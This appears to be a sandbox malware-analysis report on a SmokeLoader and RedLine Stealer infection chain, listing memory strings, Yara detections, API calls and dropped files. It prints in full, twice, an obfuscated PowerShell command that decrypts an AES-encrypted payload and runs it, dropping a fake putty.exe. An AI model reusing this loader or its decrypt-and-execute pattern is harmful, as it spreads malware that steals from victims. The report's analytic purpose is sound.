Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13pwi3-dark
Source: powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: explorer.exe, 00000014.00000000.1466765592.0000000008632000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000C.00000003.1377338561.0000027A8C510000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000008.00000002.1395156668.0000022089D13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.1395156668.000002208AA5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15G9PH.img
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hHhh7.img
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAgi0nZ.img
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAyxkRJ.img
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.co
Source: powershell.exe, 00000008.00000002.1446200967.0000022099B61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://oloobe.officeapps
Source: explorer.exe, 00000014.00000000.1466765592.0000000008903000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://passwordreset.micros
Source: explorer.exe, 00000014.00000000.1479799385.000000000B9B0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comeer0
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://tip.passwordreset.microso
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000014.00000000.1479799385.000000000BA75000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/EM0
Source: explorer.exe, 00000014.00000000.1466765592.00000000087FE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.com
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/health/medical/mayo-clinic-minute-who-benefits-from-taking-statins/ar-AA1h
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/lifestyle/home-and-garden/10-vital-home-maintenance-tasks-you-ll-regret-if
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/my-husband-and-i-paid-off-our-mortgage-more-than-15-years
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/vote-to-oust-mccarthy-is-a-warning-sign-for-democracy-schola
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/counterpoint-individual-parents-rights-do-not-translate-to-a-licen
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/pastor-of-atlanta-based-megachurch-faces-backlash-after-controv
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-does-worry-house-drama-will-impact-
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000014.00000000.1463143168.000000000695E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.rd.com/list/best-cities-by-generation/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 14.2.putty.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.therfaa.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.3.therfaa.730000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.putty.exe.4f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.therfaa.720e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.putty.exe.500000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1407211942.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1692068862.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000015.00000002.1743424076.0000000000720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000E.00000002.1491059893.0000000000470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000015.00000002.1743203501.0000000000540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: powershell.exe PID: 4540, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\putty.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	14_2_00402F8F
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_004013BF
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00401412 NtAllocateVirtualMemory,	14_2_00401412
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004013CA NtAllocateVirtualMemory,	14_2_004013CA
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_004014D3
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004013D9 NtAllocateVirtualMemory,	14_2_004013D9
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004013E0 NtAllocateVirtualMemory,	14_2_004013E0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004013F0 NtAllocateVirtualMemory,	14_2_004013F0
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004013F4 NtAllocateVirtualMemory,	14_2_004013F4
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_004014F7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	14_2_004014B5
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00402F8F RtlCreateUserThread,NtTerminateProcess,	21_2_00402F8F
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004013BF NtAllocateVirtualMemory,NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	21_2_004013BF
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00401412 NtAllocateVirtualMemory,	21_2_00401412
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004013CA NtAllocateVirtualMemory,	21_2_004013CA
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004014D3 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	21_2_004014D3
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004013D9 NtAllocateVirtualMemory,	21_2_004013D9
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004013E0 NtAllocateVirtualMemory,	21_2_004013E0
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004013F0 NtAllocateVirtualMemory,	21_2_004013F0
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004013F4 NtAllocateVirtualMemory,	21_2_004013F4
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004014F7 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	21_2_004014F7
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004014B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	21_2_004014B5

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00415CCA	14_2_00415CCA
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00418CB7	14_2_00418CB7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004129C7	14_2_004129C7
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_004191FB	14_2_004191FB
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00413270	14_2_00413270
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_0041367C	14_2_0041367C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_0040CA8E	14_2_0040CA8E
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00412E9C	14_2_00412E9C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00413A9C	14_2_00413A9C
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_0041973F	14_2_0041973F
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_00413FDC	14_2_00413FDC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 14_2_0041AB98	14_2_0041AB98
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00415CCA	21_2_00415CCA
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00418CB7	21_2_00418CB7
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004129C7	21_2_004129C7
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_004191FB	21_2_004191FB
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00413270	21_2_00413270
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0041367C	21_2_0041367C
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0040CA8E	21_2_0040CA8E
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00412E9C	21_2_00412E9C
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00413A9C	21_2_00413A9C
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0041973F	21_2_0041973F
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_00413FDC	21_2_00413FDC
Source: C:\Users\user\AppData\Roaming\therfaa	Code function: 21_2_0041AB98	21_2_0041AB98

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2157
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 2157			Jump to behavior

Source: 0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000015.00000002.1743447935.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000015.00000002.1743495110.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000015.00000002.1743424076.0000000000720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000E.00000002.1491059893.0000000000470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000015.00000002.1743203501.0000000000540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: powershell.exe PID: 4540, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: putty.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
